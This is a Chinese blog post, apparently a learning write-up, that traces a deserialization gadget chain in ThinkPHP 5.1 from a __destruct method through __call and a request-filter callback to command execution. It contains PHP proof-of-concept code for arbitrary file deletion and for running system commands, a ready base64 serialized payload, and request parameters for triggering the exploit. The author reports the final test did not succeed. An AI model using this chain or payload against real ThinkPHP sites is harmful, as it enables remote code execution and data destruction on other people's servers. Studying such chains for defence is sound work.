[php]-Tp5.1反序列化学习
ThinkPhp5.1反序列化
咕咕咕
Tp5.1鏈接
Tp5.1手冊
利用compoer運行 composer
composer create-project topthink/think=5.1.* tp啟動服務
cd tp php think run訪問
127.0.0.1:8080URL解析模式
http://localhost/index.php/模塊/控制器/操作/參數/值訪問
http://localhost:8000/index/index/hello/name/Muz1反序列化鏈分析
發序列化鏈是從 __destruct() 開始
跟進 /thinkphp/library/think/process/pipes/Windows.php
public function __destruct() {$this->close();$this->removeFiles(); }跟進 close() ,沒東西, 跟進 removeFiles()
private function removeFiles() {foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = []; }這里 $this->files ,@unlink 可以刪除文件
poc:
這里是刪除 F:/test.txt
<?php namespace think\process\pipes; class Pipes{} class Windows extends Pipes{private $files = [];public function __construct(){$this->files=['F:\\test.txt'];} } echo base64_encode(serialize(new Windows()));然后執行到 file_exists($filename), file_exists 將 $filename 當字符串然后觸發 __toString 方法,
在 \thinkphp\library\think\model\concern\Conversion.php
public function __toString() {return $this->toJson(); }跟進 toJson()
public function toJson($options = JSON_UNESCAPED_UNICODE) {return json_encode($this->toArray(), $options); }有個toArray()方法
public function toArray() {...if (!empty($this->append)) {foreach ($this->append as $key => $name) {if (is_array($name)) {// 追加關聯對象屬性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);}}...這里的$this->append可控,所以$key和$name也可控,最后會調用 $relation->visible($name);所以如果$relation可控的話就可以通過調用不可訪問的方法觸發__call()
跟進一下getRelation()
public function getRelation($name = null) {if (is_null($name)) {return $this->relation;} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}return; }array_key_exists() 函數檢查某個數組中是否存在指定的鍵名,繞過if/else判斷,返回值為空,進行(!$relation)
然后 getAttr() 方法
public function getAttr($name, &$item = null) {try {$notFound = false;$value = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value = null;}...return $value; }跟進 getData()
public function getData($name = null) {if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {return $this->data[$name];} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); }可以回頭看一下 $name值,$relation = $this->getAttr($key);
調用getAttr()時將$this->append的key傳給形參$name,之后再調用$getData($name),將剛才的$name傳入,
所以這里的$name也就是$this->append的key,
而這里的第一個elseif處的$this-$data又可控,所以最終的$relation相當于$relation=$this->data[$key],
$relation和$name都可控,就可以通過 $relation->visible($name);觸發__call()了
因為 __toString()是 Conversion.php的,getAttr()等是Attribute.php的,所以找一個類同時包含這倆
\thinkphp\library\think\Model.php
abstract class Model implements \JsonSerializable, \ArrayAccess {use model\concern\Attribute;use model\concern\RelationShip;use model\concern\ModelEvent;use model\concern\TimeStamp;use model\concern\Conversion;因為這是個抽象類abstract(),不能被 new ,需要找一個子類
\thinkphp\library\think\model\Pivot.php
找到實現類之后,找__call() , call_user_func..
找到\thinkphp\library\think\Request.php
public function __call($method, $args) {if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}throw new Exception('method not exists:' . static::class . '->' . $method); }但是不能直接利用 call_user_func_array執行 system,這里$method是visible,$args是之前的$name可控,但是有這行代碼:array_unshift($args, $this) 把 $this 插到了 $args 的最前面,使得 system 的第一個參數不可控,沒法直接 system 。因此想辦法回調thinkphp中的方法,而且經過一系列構造,最終命令執行中的參數和這里的 $args 無關。
private function filterValue(&$value, $key, $filters) {$default = array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 調用函數或者方法過濾$value = call_user_func($filter, $value);......................
這里有個call_user_func($filter, $value);但參數不可控仍然無法命令執行,但可以通過本類中的input()方法來控制參數
public function input($data = [], $name = '', $default = null, $filter = '') {if (false === $name) {// 獲取原始數據return $data;}$name = (string) $name;if ('' != $name) {// 解析nameif (strpos($name, '/')) {list($name, $type) = explode('/', $name);}$data = $this->getData($data, $name);if (is_null($data)) {return $default;}if (is_object($data)) {return $data;}}// 解析過濾器$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);if (version_compare(PHP_VERSION, '7.1.0', '<')) {// 恢復PHP版本低于 7.1 時 array_walk_recursive 中消耗的內部指針$this->arrayReset($data);}} else {$this->filterValue($data, $name, $filter);}if (isset($type) && $data !== $default) {// 強制類型轉換$this->typeCast($data, $type);}return $data; }可以看到這三行代碼,通過getFilter()方法控制$filter,通過array_walk_recursive()回溯調用剛剛的filterValue()方法
$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);跟進getFilter()
protected function getFilter($filter, $default) {if (is_null($filter)) {$filter = [];} else {$filter = $filter ?: $this->filter;if (is_string($filter) && false === strpos($filter, '/')) {$filter = explode(',', $filter);} else {$filter = (array) $filter;}}$filter[] = $default;return $filter; }$filter = $filter ?: $this->filter;很明顯filter可控了,再看另一個參數$data,如果$data可控,而且$name為空字符串的話,input函數中前面的那些代碼if條件就不成立,不構成影響。
param()函數中存在調用 input()
public function param($name = '', $default = null, $filter = '') {if (!$this->mergeParam) {$method = $this->method(true);// 自動獲取請求變量switch ($method) {case 'POST':$vars = $this->post(false);break;case 'PUT':case 'DELETE':case 'PATCH':$vars = $this->put(false);break;default:$vars = [];}// 當前請求參數和URL地址中的參數合并$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));$this->mergeParam = true;}if (true === $name) {// 獲取包含文件上傳信息的數組$file = $this->file();$data = is_array($file) ? array_merge($this->param, $file) : $this->param;return $this->input($data, '', $default, $filter);}return $this->input($this->param, $name, $default, $filter); }可以看到最后一行調用input,并且第一個參數的值$this->param可控,控制點在上方
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));$this->param是由本來的$this->param,還有請求參數和URL地址中的參數合并。
但考慮到調用的函數是array_walk_recursive,數組中的每個成員都被回調函數調用,因此其實直接構造$this->param也是可以的,但是考慮到可以動態命令執行,因此就不構造$this->param了,而是把要執行的命令寫在get參數里即第二個參數($this->get(false))。
最后就剩下最后一個問題了,就是何處調用了param(),并且調用時$name為空,經過尋找找到了isAjax()
public function isAjax($ajax = false) {$value = $this->server('HTTP_X_REQUESTED_WITH');$result = 'xmlhttprequest' == strtolower($value) ? true : false;if (true === $ajax) {return $result;}$result = $this->param($this->config['var_ajax']) ? true : $result;$this->mergeParam = false;return $result; }調用位置
$result = $this->param($this->config['var_ajax']) ? true : $result;$this->config['var_ajax']是配置文件中的值,只需要讓他為空,那么他在調用$this->param時,默認的第一個參數$name就為空,之后再調用input時傳入的$name就為空,從而繞過了input函數中的if判斷,至此整條鏈就結束了,簡單的回顧下。
__call()方法調用return call_user_func_array($this->hook[$method], $args);,讓$this->hook[$method]的值為isAjax就調用了isAjax()函數,函數中$this->param($this->config[‘var_ajax’]) ? true : $result;調用了param()函數,param()的最后一行調用了input()方法,input()中調用array_walk_recursive回調調用filterValue()函數,該函數中$value = call_user_func($filter, $value);進行了命令執行,并通過最后的return返回public/index.php加上如下兩句作為入口
然后構造POC:
<?php namespace think; abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["Muz1"=>["hello"]];$this->data = ["Muz1"=>new Request()];} } class Request {protected $hook = [];protected $filter = "system";protected $config = [// 表單請求類型偽裝變量'var_method' => '_method',// 表單ajax偽裝變量'var_ajax' => '_ajax',// 表單pjax偽裝變量'var_pjax' => '_pjax',// PATHINFO變量名 用于兼容模式'var_pathinfo' => 's',// 兼容PATH_INFO獲取'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 默認全局過濾方法 用逗號分隔多個'default_filter' => '',// 域名根,如thinkphp.cn'url_domain_root' => '',// HTTPS代理標識'https_agent_name' => '',// IP代理獲取標識'http_agent_ip' => 'HTTP_X_REAL_IP',// URL偽靜態后綴'url_html_suffix' => 'html',];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>''];$this->hook = ["visible"=>[$this,"isAjax"]];} } namespace think\process\pipes;use think\model\concern\Conversion; use think\model\Pivot; class Windows {private $files = [];public function __construct(){$this->files=[new Pivot()];} } namespace think\model;use think\Model;class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?>傳參:
GET: ?Muz1=calc POST: key=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo0OiJNdXoxIjthOjE6e2k6MDtzOjU6ImhlbGxvIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiTXV6MSI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo4O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=然后會彈出計算器,這里沒彈出來 不明白哪的原因‘
參考
https://blog.csdn.net/weixin_54902210/article/details/124874209?spm=1001.2014.3001.5502
總結
以上是生活随笔為你收集整理的[php]-Tp5.1反序列化学习的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 《资本之王》书中的精髓:黑石公司是如何成
- 下一篇: 卓有成效的管理者—第一章 卓有成效是可以